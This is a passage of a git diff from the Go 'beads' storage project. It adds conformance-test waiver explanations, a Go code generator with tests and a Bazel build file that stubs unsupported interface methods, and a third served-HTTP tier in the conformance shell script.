httpCycleDetector reads +// the field and, finding no wire parameter to carry it, REFUSES the request +// with a typed, ledger-cited error (encode.RefusedError via refuse(), citing +// "L-cycles-tracks") rather than silently answering the narrower default +// walk. Neither side of the wire has any plumbing for this field, so the +// three IncludeTracks cases cannot be satisfied over HTTP — the client fails +// loudly instead of wiring a narrower answer, which is why these three remain +// unwired rather than run-and-skipped. +// +// No shipped slice adds a query parameter, spec capability token, or +// handshake entry for this option — see "L-cycles-tracks" in the in-repo +// divergence ledger, engdocs/design/http-divergence-ledger.md, which records +// it as a refuse row rather than a wired one. Closing this gap is a new +// slice — a query parameter plus spec/capability plumbing on both ends — not +// a missing test line, so the waiver stays until that slice exists. +const cycleTracksWireGapWaiverReason = "issueops.DetectCyclesRequest.IncludeTracks has no wire plumbing on " + + "either side of internal/httpapi or internal/httpclient today (cycles.go always calls DetectCycles with a " + + "zero-value request; the client's DetectCycles refuses the request via a typed, ledger-cited error — see " + + "\"L-cycles-tracks\" — rather than silently answering the narrower walk); no slice through S13 adds a wire " + + "parameter for it, so closing this is a new, not-yet-numbered slice rather than a missing test line" + +// retentionEpochNoRoleWaiverReason covers the fifteen RetentionFixture and +// EpochFixture cases: PERMANENTLY unservable over HTTP, not merely unwired +// yet. +// +// Both fixtures are RAW STORAGE HOOKS, not a publicops role: RetentionFixture +// and EpochFixture (backend/conformance/retention_epoch_contract.go) carry no +// publicops.XXX field at all, only closures like Resolve, Remove, Hold, +// Erase, Mint, CurrentEpoch, and BumpEpoch that reach past every role +// straight at a backend's own address/epoch/retention bookkeeping — the same +// bookkeeping a storage engine keeps about itself, not a capability it was +// ever going to publish to a caller. dolt, embeddeddolt, and uow all wire +// this contract because all three ARE storage engines with that bookkeeping +// to show; the http leg is a REMOTE CLIENT of one, with no address table, +// epoch counter, or retention window of its own to report — there is nothing +// behind this door for a wire operation to open onto, now or in a later +// slice, unless some future design gives retention/epoch state its own +// publicops role and wire surface. That would be a new role, not a missing +// test line, which is why this is a named waiver rather than a ceiling +// entry. +const retentionEpochNoRoleWaiverReason = "RetentionFixture and EpochFixture carry raw address/epoch/retention " + + "storage hooks (Resolve, Remove, Hold, Erase, Mint, CurrentEpoch, BumpEpoch, ...) with no publicops role " + + "behind them; dolt, embeddeddolt and uow wire this contract because they ARE the storage engine this " + + "bookkeeping belongs to, and the http leg is a remote client with no such bookkeeping of its own to report " + + "— there is no role or wire surface for this to ever route through unless one is designed from scratch" + +// crossRecordInvariantNoRoleWaiverReason covers the seven CrossRecordInvariantFixture +// cases, for the same shape of reason as retentionEpochNoRoleWaiverReason. +// +// CrossRecordInvariantFixture (backend/conformance/cross_record_invariant_contract.go) +// is likewise raw hooks with no publicops field — GuardedWrite, +// EnforceCrossRecordInvariant, AcquireAdvisoryLease, +// CountHistoryForSubject, MemoryKeyAliasWrite, GraphEdgeWrite — that assert a +// store's OWN invariant enforcement spanning more than one record at once, +// the kind of guarantee a storage engine's own transaction boundary gives, +// not a wire operation it exposes. dolt, embeddeddolt and uow wire it as the +// engines that hold that boundary; the http leg has none of its own to test. +const crossRecordInvariantNoRoleWaiverReason = "CrossRecordInvariantFixture carries raw per-record/cross-record " + + "storage hooks (GuardedWrite, EnforceCrossRecordInvariant, AcquireAdvisoryLease, CountHistoryForSubject, " + + "MemoryKeyAliasWrite, GraphEdgeWrite) with no publicops role behind them, asserting a storage engine's own " + + "transaction boundary rather than something exposed over a wire; the http leg has no transaction boundary " + + "of its own for this to test" + // bootstrapSplitWaiverReason covers the one pair of entrypoints that is a // RATIFIED PER-LEG SPLIT rather than a gap. // @@ -78,6 +191,24 @@ const bootstrapSplitWaiverReason = "the bootstrap history contracts are a ratifi "legs pin zero because `bd init` commits the identity itself, the unit-of-work leg pins one because the " + "proxied route has no other commit point; each leg wires its own half and the other half is not its promise" +// bootstrapperPermanentlyUnservableWaiverReason covers the nine Bootstrapper +// contracts: PERMANENTLY unservable over http, not merely unwired yet. +// +// internal/httpclient/accessors.go names Bootstrapper (alongside VersionReconciler +// and InitVerifier) as one of the THREE accessors still on the generated +// refusing shell for one reason: "PERMANENTLY UNSERVABLE — no wire operation +// and none coming." `bd init` runs its substrate-identification walk entirely +// client-side before any server exists to dial, so there is no v0 operation for +// an http accessor to bind to and none is coming — closing this gap is not a +// missing line, it is a wire operation nobody has designed. This waiver covers +// Bootstrapper only; VersionReconciler and InitVerifier share the same fate in +// the same comment but are out of scope for the change that added this waiver +// and remain counted against the ceiling until their own reviewed change +// names them too. +const bootstrapperPermanentlyUnservableWaiverReason = "internal/httpclient/accessors.go names Bootstrapper " + + "PERMANENTLY UNSERVABLE over http — no wire operation and none coming — because `bd init` resolves the " + + "substrate identity entirely client-side, before any server exists to dial" + // stagingWaiverReason is why the two staging contracts stop at the two // store-backed legs. // @@ -367,6 +498,27 @@ func finalParamTypeName(fn *ast.FuncDecl) string { // file naming every entrypoint would otherwise satisfy this lock with source no // build compiles. Ordinary constraints — cgo, integration — are counted, // because a contract wired behind one is still wired. +// +// A REFERENCE IS NOT A PASS, and that gap is deliberate rather than a hole in +// this check. Several contracts (RetentionFixture, EpochFixture, BootstrapperFixture, +// VersionReconcilerFixture, ...) are written so a nil hook makes the case +// t.Skip loudly, naming the hook, rather than asserting nothing silently — +// see each fixture's own doc comment. That lets a leg wire the ENTRYPOINT +// (call conformance.RunX, satisfying this static check) while leaving some +// or all of its hooks nil, which runs for real as a skip, not a pass. This +// check cannot see past the call to know which hooks a wiring supplies, so +// it counts the reference as wired either way — a leg that did this would +// read as adopted here while its own `go test -v` output says SKIP. That +// divergence is this package's to prevent by review, the same way +// divergence_citation_gate_test.go (internal/httpclient) already holds the +// served tier's own skipKnownDivergence call sites to a named, ledger-cited +// reason instead of a bare t.Skip: a reviewer reading a wiring diff that adds +// a conformance.RunX reference should expect it to pass for real, or to carry +// a waiver in unwiredContractEntrypoints instead — not to compile a skip and +// call it adopted. As of this lock's current counts, no leg does this: every +// entrypoint a leg's sources name either has every hook that entrypoint's own +// cases need, or the gap is a named waiver here rather than a nil hook left +// standing behind a call this check would count as wired. func conformanceEntrypointsWiredBy(t *testing.T, dir string) (map[string]bool, []string) { t.Helper() files, err := filepath.Glob(filepath.Join(dir, "*_test.go")) diff --git a/internal/storage/unsupportedgen/BUILD.bazel b/internal/storage/unsupportedgen/BUILD.bazel new file mode 100644 index 000000000..9732d963a --- /dev/null +++ b/internal/storage/unsupportedgen/BUILD.bazel @@ -0,0 +1,57 @@ +load("@rules_go//go:def.bzl", "go_binary", "go_library", "go_test") + +go_library( + name = "unsupportedgen_lib", + srcs = ["main.go"], + importpath = "github.com/steveyegge/beads/internal/storage/unsupportedgen", + visibility = ["//visibility:private"], + deps = ["//internal/storage"], +) + +go_binary( + name = "unsupportedgen", + embed = [":unsupportedgen_lib"], + visibility = ["//:__subpackages__"], +) + +go_test( + name = "unsupportedgen_test", + srcs = ["main_test.go"], + data = ["//internal/httpclient:go_srcs"], + embed = [":unsupportedgen_lib"], +) + +# --- begin go_srcs (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "go_srcs", + srcs = glob( + ["**/*.go"], + allow_empty = True, + ), + visibility = ["//:__subpackages__"], +) + +# --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/storage/unsupportedgen/main.go b/internal/storage/unsupportedgen/main.go new file mode 100644 index 000000000..6f2f899c6 --- /dev/null +++ b/internal/storage/unsupportedgen/main.go @@ -0,0 +1,382 @@ +// Command unsupportedgen regenerates the typed-unsupported shell a client +// package embeds to satisfy a storage capability interface it only partially +// implements by hand. +// +// It does NOT take a hand-maintained -skip list. The whole point of this tool +// is to make the "which methods does the shell need to cover" question +// self-answering: it parses the target package's own .go sources (every file +// except _test.go files and the file it is about to overwrite) for methods +// already declared on the given -receiver, and generates a stub for every +// OTHER method of -type storage interface is not already covered. A +// hand-written method and a generated stub can therefore never collide on the +// same selector — there is nothing to keep in sync by hand, and nothing to +// drift. +// +// Written from scratch for the S3 native-program reconciliation: this is NOT +// a port of bd-enterprise's generator (which this client's lift did not carry +// over) — only the shape of the file it must reproduce (unsupported_gen.go, +// lifted with bd-enterprise's generator before this tool existed) was read to +// match its style. +// +// Usage (see internal/httpclient/unsupported.go's //go:generate line): +// +// go run ../../storage/unsupportedgen -type DoltStorage -pkg httpclient -receiver Store -out unsupported_gen.go +package main + +import ( + "bytes" + "flag" + "fmt" + "go/ast" + "go/format" + "go/parser" + "go/token" + "log" + "os" + "path/filepath" + "reflect" + "regexp" + "sort" + "strings" + + "github.com/steveyegge/beads/internal/storage" +) + +// registry maps a -type flag value to the reflected interface it names. Adding +// a type this tool can generate a shell for is one line here; there is no +// string-based reflection trick that gets around naming it, because Go cannot +// look up a type by its source name at runtime. +var registry = map[string]reflect.Type{ + "DoltStorage": reflect.TypeOf((*storage.DoltStorage)(nil)).Elem(), +} + +func main() { + typeName := flag.String("type", "", "name of the interface to shell, from the registry in this file (e.g. DoltStorage)") + pkgName := flag.String("pkg", "", "package clause for the generated file") + receiver := flag.String("receiver", "", "base receiver type name (without *) whose existing methods this tool must not shadow") + scanDir := flag.String("scandir", ".", "directory holding the hand-written sources to scan for existing methods") + out := flag.String("out", "", "output file path, relative to scandir") + extraSkip := flag.String("skip", "", "comma-separated extra method names to exclude, beyond what the scan finds (rarely needed)") + flag.Parse() + + if *typeName == "" || *pkgName == "" || *receiver == "" || *out == "" { + log.Fatal("unsupportedgen: -type, -pkg, -receiver and -out are all required") + } + ifaceType, ok := registry[*typeName] + if !ok { + log.Fatalf("unsupportedgen: %q is not in this tool's registry (add it in main.go)", *typeName) + } + + outPath := filepath.Join(*scanDir, *out) + handWritten, err := scanHandWrittenMethods(*scanDir, *receiver, outPath) + if err != nil { + log.Fatalf("unsupportedgen: scanning %s: %v", *scanDir, err) + } + for _, name := range strings.Split(*extraSkip, ",") { + if name = strings.TrimSpace(name); name != "" { + handWritten[name] = true + } + } + + src, skipped, err := generate(*pkgName, *typeName, ifaceType, handWritten) + if err != nil { + log.Fatalf("unsupportedgen: %v", err) + } + if err := os.WriteFile(outPath, src, 0o600); err != nil { + log.Fatalf("unsupportedgen: writing %s: %v", outPath, err) + } + fmt.Fprintf(os.Stderr, "unsupportedgen: wrote %s (%d methods stubbed, %d left to the hand-written set)\n", + outPath, ifaceType.NumMethod()-skipped, skipped) +} + +// scanHandWrittenMethods parses every .go file in dir except _test.go files +// and the generator's own output file, and returns the set of method names +// declared with a receiver of type recv or *recv anywhere in the package. That +// set is exactly the method names this tool must NOT shell: generating a stub +// for one would make its selector ambiguous against the hand-written one. +func scanHandWrittenMethods(dir, recv, outPath string) (map[string]bool, error) { + absOut, err := filepath.Abs(outPath) + if err != nil { + return nil, err + } + found := map[string]bool{} + fset := token.NewFileSet() + entries, err := os.ReadDir(dir) + if err != nil { + return nil, err + } + for _, entry := range entries { + name := entry.Name() + if entry.IsDir() || !strings.HasSuffix(name, ".go") || strings.HasSuffix(name, "_test.go") { + continue + } + path := filepath.Join(dir, name) + if absPath, err := filepath.Abs(path); err == nil && absPath == absOut { + continue // this is the file we are about to overwrite + } + file, err := parser.ParseFile(fset, path, nil, 0) + if err != nil { + return nil, fmt.Errorf("%s: %w", path, err) + } + for _, decl := range file.Decls { + fn, ok := decl.(*ast.FuncDecl) + if !ok || fn.Recv == nil || len(fn.Recv.List) == 0 { + continue + } + if receiverBaseName(fn.Recv.List[0].Type) == recv { + found[fn.Name.Name] = true + } + } + } + return found, nil +} + +// receiverBaseName strips a leading "*" from a receiver type expression and +// returns its identifier, e.g. "*Store" and "Store" both yield "Store". +func receiverBaseName(expr ast.Expr) string { + if star, ok := expr.(*ast.StarExpr); ok { + expr = star.X + } + if ident, ok := expr.(*ast.Ident); ok { + return ident.Name + } + return "" +} + +// qualifiedLeak matches a package-path-qualified identifier the way a generic +// instantiation's reflect.Type.Name() leaks it, e.g. +// "github.com/steveyegge/beads/internal/types.Issue". It requires at least one +// "/" so it never matches an already-short name like "context.Context" or +// "types.IssueFilter". +var qualifiedLeak = regexp.MustCompile(`[A-Za-z0-9_.\-]+(?:/[A-Za-z0-9_.\-]+)+\.[A-Za-z_][A-Za-z0-9_]*`) + +// importSet collects the packages a generated file's method bodies reference, +// keyed by import path, so the output needs no hand-maintained import block. +type importSet map[string]string // import path -> local alias (last path segment) + +func (s importSet) add(pkgPath string) string { + if pkgPath == "" { + return "" + } + alias := pkgPath + if i := strings.LastIndex(pkgPath, "/"); i >= 0 { + alias = pkgPath[i+1:] + } + s[pkgPath] = alias + return alias +} + +// formatType renders t as the Go syntax a stub's signature can use, collecting +// every package it names into imports as it goes. +// +// A plain reflect.Type.String() is NOT enough on its own: for a generic +// instantiation (this package's one case is storage.Iter[T]), reflect leaks +// the type argument's FULL import path into both String() and Name() rather +// than the short package name every other case gets +// ("storage.Iter[github.com/steveyegge/beads/internal/types.Issue]" instead of +// "storage.Iter[types.Issue]"). This function walks the type structurally so +// composite types are built from already-short recursive calls, and for the +// generic-name case specifically, desanitizes the leaked argument with +// qualifiedLeak before recording its package and splicing it back in. +func formatType(t reflect.Type, imports importSet) string { + // A DEFINED type (Name() != "") with a composite underlying kind — e.g. + // encoding/json.RawMessage, whose Kind() is Slice over its underlying + // []byte — must be named by its declaration, not rebuilt structurally from + // its underlying kind: "[]uint8" is a different type than json.RawMessage + // as far as the compiler's interface-satisfaction check is concerned, even + // though they share a representation. Only an UNNAMED composite (a literal + // "[]string" or "map[string]int" parameter, Name()=="") falls through to + // the structural cases below. + if t.Name() != "" && t.PkgPath() != "" { + return namedType(t, imports) + } + + switch t.Kind() { + case reflect.Ptr: + return "*" + formatType(t.Elem(), imports) + case reflect.Slice: + return "[]" + formatType(t.Elem(), imports) + case reflect.Array: + return fmt.Sprintf("[%d]%s", t.Len(), formatType(t.Elem(), imports)) + case reflect.Map: + return fmt.Sprintf("map[%s]%s", formatType(t.Key(), imports), formatType(t.Elem(), imports)) + case reflect.Chan: + return "chan " + formatType(t.Elem(), imports) + case reflect.Func: + in := make([]string, t.NumIn()) + for i := range in { + if t.IsVariadic() && i == len(in)-1 { + in[i] = "..." + formatType(t.In(i).Elem(), imports) + continue + } + in[i] = formatType(t.In(i), imports) + } + out := make([]string, t.NumOut()) + for i := range out { + out[i] = formatType(t.Out(i), imports) + } + switch len(out) { + case 0: + return fmt.Sprintf("func(%s)", strings.Join(in, ", ")) + case 1: + return fmt.Sprintf("func(%s) %s", strings.Join(in, ", "), out[0]) + default: + return fmt.Sprintf("func(%s) (%s)", strings.Join(in, ", "), strings.Join(out, ", ")) + } + } + + if t.Name() != "" { + return t.Name() // predeclared: string, int, bool, error, ... + } + if t.Kind() == reflect.Interface && t.NumMethod() == 0 { + return "interface{}" + } + // Not expected anywhere in storage.DoltStorage today (no bare func types or + // anonymous structs/interfaces in its method set); fail loudly rather than + // emit something a human has to notice is wrong later. + log.Fatalf("unsupportedgen: unhandled anonymous type %s (kind %s) — formatType needs a case for it", t.String(), t.Kind()) + panic("unreachable") +} + +// reflectAliasCanonical maps a (pkgPath, name) pair that reflect reports for +// a known language-level alias's underlying type back to the alias's own +// declared (pkgPath, name), so unsupportedgen's output is stable across Go +// toolchains that change what an alias's underlying type reflects as. +// +// Go 1.27 made encoding/json.RawMessage an alias of +// encoding/json/jsontext.Value. Aliases have no runtime identity of their +// own — reflect only ever sees the underlying type — but which type counts as +// "underlying" moved: on 1.26 and earlier, reflect.TypeOf(json.RawMessage(nil)) +// reports (encoding/json, RawMessage) directly (RawMessage was a defined +// type, not an alias, at that point); starting in 1.27 it reports the new +// alias target, (encoding/json/jsontext, Value). storage.DoltStorage's +// MergeMetadata signature did not change between toolchains, so the +// generator's output must not either; this table is the fix-up. +// +// Add an entry here (never a one-off special case elsewhere in this file) if +// a future Go stdlib release aliases another type this generator formats. +var reflectAliasCanonical = map[[2]string][2]string{ + {"encoding/json/jsontext", "Value"}: {"encoding/json", "RawMessage"}, +} + +// namedType renders a DEFINED type (t.Name() != "" && t.PkgPath() != "") as +// its package-qualified declaration name, desanitizing a generic +// instantiation's leaked type-argument path the same way formatType's doc +// comment describes, and normalizing a known reflect-visible alias target +// (reflectAliasCanonical) back to the name a human wrote in source. +func namedType(t reflect.Type, imports importSet) string { + pkgPath, name := t.PkgPath(), t.Name() + if canon, ok := reflectAliasCanonical[[2]string{pkgPath, name}]; ok { + pkgPath, name = canon[0], canon[1] + } + if open := strings.IndexByte(name, '['); open >= 0 && strings.HasSuffix(name, "]") { + base := name[:open] + args := qualifiedLeak.ReplaceAllStringFunc(name[open+1:len(name)-1], func(leak string) string { + dot := strings.LastIndex(leak, ".") + return imports.add(leak[:dot]) + leak[dot:] + }) + alias := imports.add(pkgPath) + return fmt.Sprintf("%s.%s[%s]", alias, base, args) + } + alias := imports.add(pkgPath) + return alias + "." + name +} + +type stubMethod struct { + name string + params []string + results []string +} + +// generate produces the full source of the typed-unsupported shell: a stub for +// every method of iface not in handWritten. It returns the number of methods +// it left alone (the hand-written complement) alongside the formatted source. +func generate(pkgName, typeName string, iface reflect.Type, handWritten map[string]bool) ([]byte, int, error) { + imports := importSet{} + var methods []stubMethod + skipped := 0 + for i := 0; i < iface.NumMethod(); i++ { + m := iface.Method(i) + if handWritten[m.Name] { + skipped++ + continue + } + mt := m.Type + sm := stubMethod{name: m.Name} + for p := 0; p < mt.NumIn(); p++ { + sm.params = append(sm.params, formatType(mt.In(p), imports)) + } + for r := 0; r < mt.NumOut(); r++ { + sm.results = append(sm.results, formatType(mt.Out(r), imports)) + } + // errUnsupported only has an error to hand back, so a stub can only + // speak for a method whose last (or only) result is literally an + // error. Every method this tool has ever had to stub satisfies that; + // a future storage.DoltStorage method that does not needs a + // hand-written implementation (which puts it in the scanned, + // hand-written set and this tool never sees it), not a guess here. + if len(sm.results) == 0 || sm.results[len(sm.results)-1] != "error" { + log.Fatalf("unsupportedgen: %s's last result is not error (results: %v) — "+ + "it cannot be shelled by errUnsupported; implement it by hand instead", m.Name, sm.results) + } + methods = append(methods, sm) + } + sort.Slice(methods, func(i, j int) bool { return methods[i].name < methods[j].name }) + + var b bytes.Buffer + fmt.Fprintf(&b, "// Code generated by unsupportedgen (internal/storage/unsupportedgen); DO NOT EDIT.\n") + fmt.Fprintf(&b, "// Regenerate with `go generate ./...` after a storage.%s interface change.\n\n", typeName) + fmt.Fprintf(&b, "package %s\n\n", pkgName) + + if len(imports) > 0 { + paths := make([]string, 0, len(imports)) + for p := range imports { + paths = append(paths, p) + } + sort.Strings(paths) + b.WriteString("import (\n") + for _, p := range paths { + fmt.Fprintf(&b, "\t%q\n", p) + } + b.WriteString(")\n\n") + } + + shellName := "unsupported" + typeName + fmt.Fprintf(&b, "// %s is the generated typed-unsupported shell for storage.%s.\n", shellName, typeName) + fmt.Fprintf(&b, "// Every method returns *storage.ErrUnsupported via errUnsupported; embed it and\n") + fmt.Fprintf(&b, "// override the real slice. DO NOT hand-edit — regenerate with `go generate ./...`.\n") + fmt.Fprintf(&b, "type %s struct{}\n\n", shellName) + + for _, m := range methods { + var resultDecl string + switch len(m.results) { + case 0: + resultDecl = "" + case 1: + resultDecl = fmt.Sprintf(" (err %s)", m.results[0]) + default: + named := make([]string, len(m.results)) + for i, r := range m.results[:len(m.results)-1] { + named[i] = "_ " + r + } + named[len(named)-1] = "err " + m.results[len(m.results)-1] + resultDecl = fmt.Sprintf(" (%s)", strings.Join(named, ", ")) + } + params := make([]string, len(m.params)) + for i, p := range m.params { + params[i] = "_ " + p + } + fmt.Fprintf(&b, "func (%s) %s(%s)%s {\n", shellName, m.name, strings.Join(params, ", "), resultDecl) + fmt.Fprintf(&b, "\terr = errUnsupported(%q)\n", m.name) + b.WriteString("\treturn\n}\n\n") + } + + fmt.Fprintf(&b, "// NOTE: partial shell (%d of %d methods generated; %d left to this package's hand-written set).\n", + len(methods), iface.NumMethod(), skipped) + + formatted, err := format.Source(b.Bytes()) + if err != nil { + return nil, 0, fmt.Errorf("formatting generated source: %w\n--- unformatted ---\n%s", err, b.String()) + } + return formatted, skipped, nil +} diff --git a/internal/storage/unsupportedgen/main_test.go b/internal/storage/unsupportedgen/main_test.go new file mode 100644 index 000000000..7b0f1f3dc --- /dev/null +++ b/internal/storage/unsupportedgen/main_test.go @@ -0,0 +1,86 @@ +package main + +import ( + "os" + "path/filepath" + "testing" +) + +// TestGeneratedShellIsFresh is the anti-drift check this tool never had: it +// runs exactly the same scan-then-generate pipeline main() runs for the one +// registered consumer (internal/httpclient's unsupported_gen.go, built from +// storage.DoltStorage with receiver Store), and compares the result byte for +// byte against the checked-in file. A storage.DoltStorage interface change, +// a hand-written method added or removed from httpclient's Store, or an edit +// to this generator's own output shape that nobody reran `go generate` after +// is caught here instead of silently drifting until someone notices the +// shell no longer matches what the generator would produce today. +// +// Regenerate with: go generate ./internal/httpclient (see unsupported.go's +// //go:generate line, which this test mirrors). +func TestGeneratedShellIsFresh(t *testing.T) { + const ( + typeName = "DoltStorage" + pkgName = "httpclient" + receiver = "Store" + outName = "unsupported_gen.go" + ) + + // httpclient lives two levels up from this package + // (internal/storage/unsupportedgen -> internal/httpclient). + scanDir := filepath.Join("..", "..", "httpclient") + outPath := filepath.Join(scanDir, outName) + + ifaceType, ok := registry[typeName] + if !ok { + t.Fatalf("%q is not in this tool's registry (add it in main.go)", typeName) + } + + handWritten, err := scanHandWrittenMethods(scanDir, receiver, outPath) + if err != nil { + t.Fatalf("scanning %s: %v", scanDir, err) + } + + want, _, err := generate(pkgName, typeName, ifaceType, handWritten) + if err != nil { + t.Fatalf("generate: %v", err) + } + + got, err := os.ReadFile(outPath) + if err != nil { + t.Fatalf("reading checked-in %s: %v", outPath, err) + } + + if string(got) != string(want) { + t.Fatalf("%s is stale: it does not match what this generator produces today.\n"+ + "This file is generated and must not be hand-edited.\n"+ + "Regenerate it with:\n"+ + " go generate ./internal/httpclient", outPath) + } +} + +// TestScanHandWrittenMethodsExcludesOwnOutput pins the one correctness +// property the freshness check above silently depends on: scanning must +// never see the generator's own prior output as "hand-written," or every +// method the shell currently stubs would get treated as already covered and +// the next regeneration would stub nothing at all. +func TestScanHandWrittenMethodsExcludesOwnOutput(t *testing.T) { + scanDir := filepath.Join("..", "..", "httpclient") + outPath := filepath.Join(scanDir, "unsupported_gen.go") + + handWritten, err := scanHandWrittenMethods(scanDir, "Store", outPath) + if err != nil { + t.Fatalf("scanning %s: %v", scanDir, err) + } + + // unsupportedDoltStorage's receiver is unsupportedDoltStorage, not Store, + // so none of its stub method names should ever land in the Store-receiver + // hand-written set purely by virtue of being in the output file -- but to + // catch a regression where the output file itself was scanned anyway, + // assert directly that scanning skipped it: a method this generator is + // known to stub today (AsOf, from storage.DoltStorage's version-control + // family) must not appear as hand-written on Store. + if handWritten["AsOf"] { + t.Error(`handWritten["AsOf"] = true, want false -- scanHandWrittenMethods appears to have scanned its own output file`) + } +} diff --git a/internal/storage/uow/lifecycle_close_reopen_contract_test.go b/internal/storage/uow/lifecycle_close_reopen_contract_test.go index 0282aa3d2..c495de06a 100644 --- a/internal/storage/uow/lifecycle_close_reopen_contract_test.go +++ b/internal/storage/uow/lifecycle_close_reopen_contract_test.go @@ -63,6 +63,9 @@ func TestLifecycleCloseReopenContract(t *testing.T) { t.Run("ResultsAreHydratedPostStateSnapshots", func(t *testing.T) { conformance.RunLifecycleResultsAreHydratedPostStateSnapshots(t, ctx, fixture) }) + t.Run("ResultsCarryThePostWriteRowVersion", func(t *testing.T) { + conformance.RunLifecycleResultsCarryThePostWriteRowVersion(t, ctx, fixture) + }) t.Run("CloseAndReopenRequireActorAndIssueID", func(t *testing.T) { conformance.RunLifecycleCloseAndReopenRequireActorAndIssueID(t, ctx, fixture) }) diff --git a/scripts/conformance.sh b/scripts/conformance.sh index cbe5b8470..7f20c25ac 100755 --- a/scripts/conformance.sh +++ b/scripts/conformance.sh @@ -4,13 +4,15 @@ # # ./scripts/conformance.sh # -# Two tiers exercise the storage conformance contract: the in-process storage -# corpus against the embedded-Dolt oracle, then the real-binary CLI corpus. -# CI runs the same two tiers as Bazel targets, remotely: +# Three tiers exercise the storage conformance contract: the in-process +# storage corpus against the embedded-Dolt oracle, the real-binary CLI +# corpus, then the served HTTP client/role corpus against a real server. +# CI runs all three tiers as Bazel targets, remotely: # # bazel test --config=embedded //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test \ # //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test # bazel test --config=integration //test/conformance:conformance_test +# bazel test --config=embedded //internal/httpclient:httpclient_served_test # set -euo pipefail cd "$(dirname "$0")/.." @@ -50,4 +52,20 @@ assert_conformance_passed "$embedded_dolt_log" "embedded-Dolt reference (need BE echo "==> Tier 2: end-to-end 'bd init' + CLI conformance (reference round-trip)" CGO_ENABLED=1 go test -tags "$TAGS e2e" -timeout 10m ./test/conformance/ +echo "==> Tier 3: served HTTP client/role conformance (real server, real wire)" +# The httpclient package's served_*_test.go files are gated by the `cgo` +# build tag (set automatically when CGO_ENABLED=1; no -tags entry needed) and +# self-skip without BEADS_TEST_EMBEDDED_DOLT=1 + BEADS_HTTP_TEST_REQUIRED=1 -- +# the latter is a fail-loud guard (not a silent skip) if it's set without the +# former, so a misconfigured env can't report a false green here either. +# Nor can a build with cgo off, which drops every served file: the package's +# untagged TestServedTierIsLinkedWhenRequired fails a required run then. +# Here the tier is one unsharded invocation, like Tier 1 and Tier 2 above; +# -timeout=40m matches the budget the review asked for. The embedded lane's +# httpclient_served_test runs the same package and env on the race build, +# split into shards (rules_go deals the tests out round-robin) so each fits +# the lane's 1200s action limit. +CGO_ENABLED=1 BEADS_TEST_EMBEDDED_DOLT=1 BEADS_HTTP_TEST_REQUIRED=1 \ + go test -tags "$TAGS" -timeout=40m ./internal/httpclient/ + echo "==> conformance OK" diff --git a/scripts/conformance_script_test.go b/scripts/conformance_script_test.go index 754580428..ce41f1067 100644 --- a/scripts/conformance_script_test.go +++ b/scripts/conformance_script_test.go @@ -6,6 +6,7 @@ import ( "os/exec" "path/filepath" "reflect" + "regexp" "runtime" "strconv" "strings" @@ -21,6 +22,7 @@ func TestConformanceScriptUsesExplicitTimeoutBudgets(t *testing.T) { want := [][]string{ {"test", "-tags", "gms_pure_go", "-v", "-timeout", "30m", "./internal/storage/embeddeddolt/", "-run", "TestConformance"}, {"test", "-tags", "gms_pure_go e2e", "-timeout", "10m", "./test/conformance/"}, + {"test", "-tags", "gms_pure_go", "-timeout=40m", "./internal/httpclient/"}, } if !reflect.DeepEqual(run.calls, want) { t.Fatalf("go calls = %#v, want %#v", run.calls, want) @@ -36,6 +38,7 @@ func TestConformanceScriptPropagatesGoTestFailures(t *testing.T) { }{ {name: "tier 1", failCall: 1, exitCode: 41, wantCalls: 1}, {name: "tier 2", failCall: 2, exitCode: 42, wantCalls: 2}, + {name: "tier 3", failCall: 3, exitCode: 43, wantCalls: 3}, } for _, test := range tests { @@ -67,8 +70,10 @@ func conformanceExitCode(err error) int { // (TestBazelEmbeddedJobRunsEmbeddedTier pins their flags), Tier 2 the // integration lane's //test/conformance:conformance_test, pinned here to the // script's tier: both harness files, built under the e2e or integration tag, -// against the injected non-race bd. conformance.yml, which ran the script on -// a GitHub runner, is gone. +// against the injected non-race bd. Tier 3 is the embedded lane's +// //internal/httpclient:httpclient_served_test +// (TestConformanceServedTierRunsUnderBazel). conformance.yml, which ran the +// script on a GitHub runner, is gone. func TestConformanceE2ETierRunsUnderBazel(t *testing.T) { root := sourceRepoRoot(t) rule := bazelRuleBlock(readPolicyFile(t, root, "test/conformance/BUILD.bazel"), "conformance_test") @@ -97,6 +102,38 @@ func TestConformanceE2ETierRunsUnderBazel(t *testing.T) { } } +// Tier 3's Bazel target runs the script's Tier 3 package, the httpclient +// go_test binary, with every BEADS_* switch the script sets for it: the one +// that stands the served corpus up and the one that makes it required. A +// switch the script gains that the target lacks fails here; +// TestBazelRetiredLanesCannotBeNarrowed pins the target's args and env +// exactly. +func TestConformanceServedTierRunsUnderBazel(t *testing.T) { + root := sourceRepoRoot(t) + tier := regexp.MustCompile(`(?m)^((?:[A-Z_]+=\S+ )+)\\\n\s+go test -tags "\$TAGS" -timeout=40m \./internal/httpclient/$`). + FindStringSubmatch(readPolicyFile(t, root, "scripts/conformance.sh")) + if tier == nil { + t.Fatal("scripts/conformance.sh has no Tier 3 `... go test -tags \"$TAGS\" -timeout=40m ./internal/httpclient/` invocation") + } + switches := regexp.MustCompile(`\b(BEADS_[A-Z_]+)=(\S+)`).FindAllStringSubmatch(tier[1], -1) + if len(switches) < 2 { + t.Fatalf("parsed only %v from Tier 3's env %q", switches, tier[1]) + } + rule := bazelRuleBlock(readPolicyFile(t, root, "internal/httpclient/BUILD.bazel"), "httpclient_served_test") + if rule == "" { + t.Fatal("internal/httpclient/BUILD.bazel has no httpclient_served_test") + } + want := []string{`"$(rootpath :httpclient_test)",`, `data = [":httpclient_test"],`, `tags = ["embedded"],`} + for _, sw := range switches { + want = append(want, `"`+sw[1]+`": "`+sw[2]+`",`) + } + for _, w := range want { + if !strings.Contains(rule, w) { + t.Errorf("//internal/httpclient:httpclient_served_test lacks %q:\n%s", w, rule) + } + } +} + type conformanceRun struct { output string calls [][]string diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index d2a5da2d9..edf17a537 100644 --- 